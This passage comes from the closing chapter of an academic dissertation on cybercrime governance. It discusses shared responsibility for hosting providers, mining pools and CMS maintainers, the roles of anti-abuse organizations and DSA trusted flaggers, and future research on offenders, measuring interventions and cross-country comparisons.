and encouraging actions from non-state organizations. This can be done by stimulat-
ing new forms of behavior or by stopping established habits. Assessing whether this re-
sponsibility can be enforced through legislation comes afterward. Through the research
presented in this dissertation, we identify several parties that could well be involved in
such governance. For example, the responsibility to act upon illicit cryptomining can be
shared with both the Monero mining pool operators and legitimate businesses offering
cryptomining scripts such as Coinhive. Additionally, as we found the third-party soft-
ware attack vector the most prominent in cryptojacking campaigns in Chapter 3, part of
the responsibility to act upon this cybercrime could also be assigned to the maintain-
ers of major CRM systems like WordPress or Drupal. In the case of phishing – or any
other kind of cybercrime that relies on hosting malicious content on Web pages – we
would identify the hosting providers as key players who have a shared responsibility to
act upon this content.

However, current legislation explicitly limits the responsibility of hosting providers
for the content on their infrastructure. Either this legislation has to be changed, or other
governance means should address this. An example of the latter would be to increase
market transparency through public benchmarking. Government-funded, scientifically
executed benchmarks of cybercrime-facilitating markets can move companies to change
their policies. As we have observed in Chapter 5, publishing a benchmark of hosting
providers involved in hosting CSAM does result in a company changing its stance and
efforts to remove such content from its network. However, companies that are willingly
facilitating cybercrime are insusceptible to such naming-and-shaming practices.

Either way, the effects of a responsibilization governance strategy would be twofold.
First, dividing the responsibility to combat cybercrime between law enforcement and
facilitators would incur higher transaction costs for cybercriminals, making their cyber-
crime malpractices less profitable. Although many resources in cybercrime can be ac-
quired from an abundance of suppliers, as soon as a majority of them feel the responsi-
bility to act upon cybercrime themselves, criminal resources are taken down faster. Ob-
viously, this will then drive cybercriminals into suppliers that do not feel this responsi-
bility, which brings us to the second effect of this governance strategy. By ignoring the re-
sponsibility to combat cybercrime, a facilitator can immediately be labeled as a criminal
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entity. By criminalizing such negligence, law enforcement can focus on those few mis-
behaving facilitators rather than chasing the bad customers of benign businesses. A gov-
ernance approach to do this would be to make cybercrime-facilitating companies more
responsible for assisting law enforcement. When every company operating within the
same business area is responsible for supporting law enforcement in cybercrime-related
matters, it will be part of the regular business. Companies that fail to adhere to the re-
quired assistance can then be punished by civil law, incurring more negative impacts
on company profits. The latter approach, no matter how exactly executed, builds on
strong collaboration between law enforcement, government bodies, and private com-
panies. Such public-private collaborations require investment from the public parties
specifically, but they are essential to making this happen.

ANTI-ABUSE ORGANIZATIONS

The last entity we discuss is the group of non-state organizations or individuals wanting
to fight cybercrime, either driven by profit or altruism. Just as the Internet is a decentral-
ized worldwide operating network, so are its rules and (non-state) guardians. Ever since
the beginning of the Internet, most of its rules and the overarching code of conduct have
been primarily voluntary. Conforming to an industry standard like RFC2142 for abuse
mailboxes [108] or incorporating guidelines set by working groups like the M3AAWG on
how to handle abuse complaints [152] are currently by no means enforced. This is in
contrast to rules related to the functionality of the Internet. Non-compliance with func-
tional regulations of the Internet results in crippled connections (e.g., protocols like BGP
or DNS only work when networks are properly set up), while a lax stance regarding abu-
sive content or weak security policies is tolerated, as we have shown in Chapter 5. This
led to a variety of initiatives trying to enforce the latter, ranging from large foundations
to individuals. This fragmented source of abuse reporting makes it labor-intensive for
abuse departments to take in, verify, and handle these complaints. As we have observed
in Chapter 5, follow-up actions are more likely to be taken when a renowned anti-abuse
organization reports a standardized and vetted abuse complaint instead of an individ-
ual dropping an email. Standardized reporting would accelerate abuse handling, and
industry-wide blocklist operators have the ability to sanction non-compliance. At first
sight, an initiative like the Digital Services Act (DSA) [65] that institutionalized the use of
trusted flaggers for abuse handling can be considered a step in the right direction. Within
the DSA, such parties are appointed by national governments and are considered experts
at detecting certain types of illegal content online. Notices originating from trusted flag-
gers must be treated with priority as they are expected to be more accurate than notices
submitted by an average user. Although we support the appointment of parties whose
reports must be treated with higher priority, we consider the nation-focused approach
a potential pitfall for this regulation. Even though we stated that geographically demar-
cated measurements are pivotal for law enforcement agencies operating in conjunction
with local jurisdiction (in Chapter 6), abuse reporting should not be done at such a local
level. Especially for certain types of cybercrime that are considered illegal in every Euro-
pean country, it would make no sense to install 27 separate reporting entities. Creating
one European entity that could later grow into a worldwide reporting agency for abuse
would be a much better solution.
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7.5. FUTURE WORK
Each chapter in this dissertation has provided suggestions for future research. In this
section, we look beyond these individual recommendations and explore other broader
research directions that have emerged from our work.

MULTI-DISCIPLINARY RESEARCH OF THE PATHWAYS INTO CYBERCRIME

As has been put forward by this dissertation, especially in § 7.2, we embrace closer col-
laboration between Internet measurements and criminology. Several scholars are al-
ready joining forces from computer science and criminology, yet future research can ad-
vance this collaboration by focusing on a part of the criminal landscape that has not
been touched upon by Internet measurements: the perpetrators. Although it is com-
mon to study (convicted) criminals in criminology, computer scientists have not been
involved in such studies. An interesting research would be to combine the insights from
criminology, such as an offender study, with the digital traces offenders leave behind on-
line, which can be collected and analyzed by computer scientists. Combining the qual-
itative analyses from criminologists and the quantitative results from computer scien-
tists would allow for discovering how external signals relate to personal cybercriminal
decision-making. A starting point for this would be to study how cybercriminals make
their way into cybercrime by discovering their pathways. Using data scraped from on-
line forums, social media, or criminal chat applications, combined with interviews of the
studied offenders, would illuminate how these criminals start their careers and where
choke points for disruption can be identified.

MEASURING INTERVENTION EFFECTS THROUGH COLLABORATIONS

Law enforcement interventions on booter services have been subject to scientific mea-
surements performed together with law enforcement in the past, like the work of Collier
et al. on booters [47]. Such research was met with great enthusiasm by the participants in
our workshop with LEA detailed in Chapter 6. An avenue for future work would be to per-
form similar measurements of both other types of cybercrime and involve other kinds of
governance interventions, not just those by law enforcement. Close collaboration with
the involved governance body is key here. When setting up the measurement, academics
should confer with the involved party and together define the key performance indica-
tors that make the proposed intervention successful or not. Then, before the interven-
tion takes place, a baseline must be gathered that is later used to compare to the situa-
tion after the intervention. The introduction of the Digital Services Act (DSA) [65] in 2022
would have been a prime target for this. This regulation initiated the use of trusted noti-
fiers, whose notices have to be taken care of in a timely manner. Collaboration between
legislators and academics in measuring the effects of these trusted notifiers would iden-
tify whether or not abuse notices originating from such trusted flaggers were handled
faster as soon as they obtained that status.

LONGITUDINAL CROSS-COUNTRY MEASUREMENTS OF CYBERCRIME

As has been put forward by this dissertation, and especially in Chapter 6, we identified
geographical focus in large-scale technical measurements of cybercrime as a key factor
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for aligning academic measurements with law enforcement needs. Since LEAs operate
in conjunction with local jurisdictions, their view on cybercrime and their options to
combat it differ from country to country. To study the differences in cybercriminal TTP
as well as the effects of law enforcement actions, a suggestion for future work would
be to study cybercrime across countries or legislations. A comparative study between
the aforementioned demarcations has the potential to demonstrate differences in actor
TTP and in the law enforcement efforts to police them. Such studies are common in
criminology, as have been put forward by the works of Moneva & Leukfeldt [166], but
are scarce in the field of Internet measurements. Future studies would help improve
our understanding of cybercrime across the globe and discover what approaches work
to combat cybercrime. Performing such measurements longitudinally – over a longer
period of time – would also observe criminals moving from country to country due to
the effects of law enforcement or government interventions.
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